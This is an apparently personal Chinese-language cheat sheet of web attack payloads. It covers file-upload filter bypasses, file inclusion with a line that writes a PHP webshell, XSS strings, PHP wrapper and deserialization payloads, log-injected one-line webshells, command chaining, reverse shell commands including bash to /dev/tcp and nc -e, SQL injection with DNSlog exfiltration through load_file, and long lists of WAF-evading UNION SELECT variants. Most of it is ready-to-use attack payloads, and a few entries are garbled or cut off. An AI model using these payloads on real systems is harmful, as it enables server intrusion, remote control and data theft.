文件上传绕过:
.asp绕过:
aspx,ashx,ascx,cer,cdx,idc,ida,idq,inc,shtml,stm
(IIS解析漏洞)
在XX.asp文件夹中,IIS会把文件夹中所有内容当作asp来解析
.jsp绕过:
jsp,jspx,java,class,jar,war
PHP绕过:
0e绕过:
a=QNKCDZO&b=240610708
数组绕过:
?a[]=1&b[]=2
在强比较=== 中
ffifdyop 字符串经过MD5加密后为276f722736c95d99e921722cf9ed621c
在转换成字符串为’or’6乱码
Select * from ’admin’ where password=‘or’6乱码
相当于万能密码
PHP空格绕过:
%20 %09
$IFS$ {IFS}
{cat,flag}
PHP禁用绕过:
php4,phtml,phphpp,Php
php5 php3 php2
phpt pht wphp
inc/.txt 将PHP代码保存在.inc或.txt文件中,使用.htaccess将这些文件的MIME类型设置为application/x-httpd-php,将它们伪装成有效的PHP文件。
大小写绕过:
更改大小写(这个基本上遇不到了)
content-type绕过:
1.添加特殊字符:
Content-Type: image/jpeg; php
2.修改文件后缀:
需要文件包含才能执行
3.欺骗MIME类型:
修改Content-Type头的值为"image/jpeg"
4.空字节攻击
Content-Type: image/jpeg%00.php
5.Content-Type注入:
在文件名后面添加;Content-Type: image/jpeg
6.content-Dispositon绕过:
通过伪造Content-Disposition,来欺骗服务器以为上传的是合法类型的文件,绕过黑名单验证。
Content-Disposition: attachment; filename="malware.PDF
::$DATA绕过:
文件名+::$DATA
文件上传的html代码:
<body>
<form action="上传接口URL" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</body>
文件包含:
本地文件包含:
通过报错或者其他途径找到当前目录的路径,通过../进行跨目录,进行读取。可以结合上传接口,进行webshell读取
远程文件包含:
通过报错或者其他途径找到当前目录的路径,可以远程包含http网站,也可以上传一个txt执行写入shell:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123])?>'); ?>
XSS测试语句
<script>alert(1)</script>
'><img src="#" onerror="alert(1)"/>
' onclick="alert('xss')'>
伪协议,一般用在href中:
JavaScript:alert(/xss/)
XXE外部实体注入漏洞
原理:服务器接受和解析了来自客户端的xml数据,但是没有做严格的安全控制,从而导致xml外部实体注入。
定义:
1.文档类型定义(Document Type Definition,DTD),XML的布局语言
2.可扩展的样式语言(Extensible Style Language,XSL),XML的样式表语言
3.可扩展链接语言(Extensible Link Language ,XLL)
XML:可扩展标记语言,标准通用标记语言的子集,是一种用于标况电子文件使其具有结构性的标况语言。它的设计宗旨是传输数据,而不是显示数据。它的标签没有被预定义,需要自行定义标签。
XML:


xml文档结构包括xml声明、DTD文档类型定义(可选)、文档元素

DTD(文档类型定义)用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
DTD内部:

DTD外部:

DTD声明元素:
<!ELEMENT 元素名称 类别>
类别:EMPTY,(#PCDATA),(#CDDATA),ANY
PCDATA:会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
CDDATA:不会被解析器解析的文本。
<!ELEMENT 元素名称 (元素内容)>
多个元素内容:(子元素名称 1,子元素名称 2,……)
元素内容次数:默认只出现一次。
最少出现一个:(子元素名称+)
出现0次或多次:(子元素名称*)
出现0次或1次:(子元素名称?)
或:(message|body)
混合类别和元素内容:
<!ELEMENT note (#PCDATA|to|from|header|message)*>
DTD声明属性:
基本格式:<!ATTLIST 元素名称 属性名称 属性类型 默认值>
属性:
CDATA 值为字符数据 (character data)
(en1|en2|…) 此值是枚举列表中的一个值
ID 值为唯一的 id
IDREF 值为另外一个元素的 id
IDREFS 值为其他 id 的列表
NMTOKEN 值为合法的 XML 名称
NMTOKENS 值为合法的 XML 名称的列表
ENTITY 值是一个实体
ENTITIES 值是一个实体列表
NOTATION 此值是符号的名称
xml: 值是一个**预定义的 XML 值
默认值:
值 属性的默认值
#REQUIRED 属性值是必需的
#IMPLIED 属性不是必需的
#FIXED value 属性值是固定的
DTD声明实体:
命名实体(内部实体):<!ENTITY 实体名称 "实体的值">
外部实体:<!ENTITY 实体名称 SYSTEM "URI/URL">
参数实体:<!ENTITY % 实体名称 "实体的值">(只在DTD中有效)
外部参数实体:<!ENTITY % 实体名称 SYSTEM "URI">(只在DTD中有效)
PHP反序列化:
序列化:把一个对象转换为字符串流的形式
反序列化:把字符串流转换为对象的形式
反序列化漏洞:没有对用户的输入进行过滤,分为无类和有类:
无类:可以控制反序列化过程,执行SQL注入、目录遍历等操作
有类:有可能触发对象中的一些魔术方法
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
O:代表object
1:代表对象长度
"S":代表对象名称
1:代表该对象中变量个数
s:变量数据类型
4:代表变量名长度
"test":代表变量名
s:代表数据类型
29:代表变量值长度
"<script>alert('xss')</script>":代表变量值,同时也是注入点
布尔型(bool):b
整数型(int):i
字符串型(str):s
数组型(array):a
对象型(object):O
NULL型:N
魔术方法(触发):
(前提:有可利用的类)
__construct() //创建对象时触发
__destruct() //对象销毁时触发
__call() //在对象中调用不可访问的方法时触发
__callStatic() //在静态中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset()//在不可访问的属性上调用isset()empty()触发
__unset() //在不不可访问的属性上使用unset()触发
__invoke() //当脚本尝试将对象调用为函数时触发
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
PHP伪协议:
include()远程文件包含:
如果文件是非php文件,则依旧使用php语法解析
file://协议
1.file://[文件的绝对路径和文件名]
2.[文件的相对路径和文件名]
3.[http://网络路径和文件名]
php://协议
php://input执行php
php://input + [POST DATA]
<?php system('ls')?>
php://filter读取源码
php://filter/read=convert.base64-encode/resource=[文件名]
zip:// bzip2:// zlib://协议
1.zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
2.compress.bzip2://file.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
3.compress.zlib://file.gz
压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz
data://协议
1.data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
2.data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
日志注入:
日志路径:/var/log/nginx/access.log
注入一句话木马:
<?php @eval($_POST['a']);?>
<?php assert($_POST[g]);?>
phpinfo();
但g=system('xxx');却不能执行(没有disable_functions)
RCE命令:
| 直接执行后面的语句
例如:ping 127.0.0.1|whoami
||如果前面执行的语句出错,则执行后面的语句,
例如:ping 127.0.0.1||whoami
&上一个语句执行结束执行下一个语句,无论有没有错误
例如:ping 127.0.0.1&whoami
&&上一个语句执行结束执行下一个语句,如果上一个指令出错,则不执行下一个指令
eval()命令执行:
<?php
highlight_file(__FILE__);
$arg = $_REQUEST['value'];
eval($arg);
?>
其中,value为输入参数
可调用php的函数,例如phpinfo();
system(“whoami”);
函数必须带有分号,不如会报错
反弹shell,查询等命令:
NC反弹shell:
nc -lvvp 端口
bash -i>& /dev/tcp/ip/端口 0>&1 (可以用base64编码绕过)
正向:
nc -lvvp 端口 -e /bin/bash
攻击:nc ip 端口
curl,whois,python,php,ruby,socat
find:-name根据文件名精确查找,*粗略查找,?单个任意字符
-atime +天数 -amin +分钟 -mtime修改时间
SQL部分:
数字型:
?id=1 or 1=1#
字符型:
?name=ab' or 1=1#
搜索型:'%关键字%'
?name=abc%' or 1=1#
xx型:
?name=123') and 1=1#
insert/update型:(注意表单长度)
usename=123','456','789',SQL语句)#
布尔盲注:
?id=1' and (length(database()))>7#
? id=1' and ascii(substr(database(),1,1))>100#
substr((),1,1)第一个1指的是从第一个字符开始,第二个1指的所选取的长度
时间盲注:
?name=abc' and sleep(5)#
## 宽字节盲注:
?name=abc %df' and 1=1#
(回显注入需要注意长度,且有时候只能在burp中实现)
DNSlog注入:
利用loadfile函数:
and (select load_file(concat('//',(select database()),'.6.eudspa.dnslog.cn/a')))--+
and (select load_file(concat('\\\\',(select database()),'.d7d27f.dnslog.cn\\xxx.txt')))
函数条件:
load_file()
读写权限
windows(UNC路径)
and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限.*/
and (select count(*) from mysql.user)>0 /*返回错误,应该是管理员给数据库账户降权了*/
SQLmap:
-u "URL"
-l 文件名.txt
--dbs 数据库 -D 数据库名
--tables 表 -T 表名
-columns 列 -C 列名
--dump 获取并输出列内容
--batch 自动化选项,用于默认执行所有操作
手注(hackbar):
获取所有数据库
union select 1,group_concat(schema_name),3 from information_schema.schemata
获取所有表
union select group_concat(table_name) from information_schema.tables where table_schema=database() AND table_name="表名"
获取所有列
union select group_concat(column_name) from information_schema.columns where table_schema=database()
获取指定数据库指定表的列内容
union select 1,group_concat(target_column),3 from target_database.target_table
sqlmap空格绕过:
python sqlmap.py --random-agent -l zzz.txt --tamper space2comment -D 数据库名 -T 表名 --dump
mysql空格绕过:
%20 %09 %0a %0b %0c %0d %a0 %00
/**/ ()
逗号绕过:
union select 1,2,3;
union select * from ((select 1)A join (select 2)B join (select 3)C);
union select绕过:
/*!%55NiOn*/ /*!%53eLEct*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+
82 ##
83 #
84 #
85 #Union Select by PASS with Url Encoded Method:
%55nion(%53elect)
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7
一句话木马(一般用冰蝎或CS):
asp:
┼攠數畣整爠煥敵瑳∨≡┩愾 密码a
php:
<?php @eval($_POST['a']);?>
<?php assert($_POST[g]);?>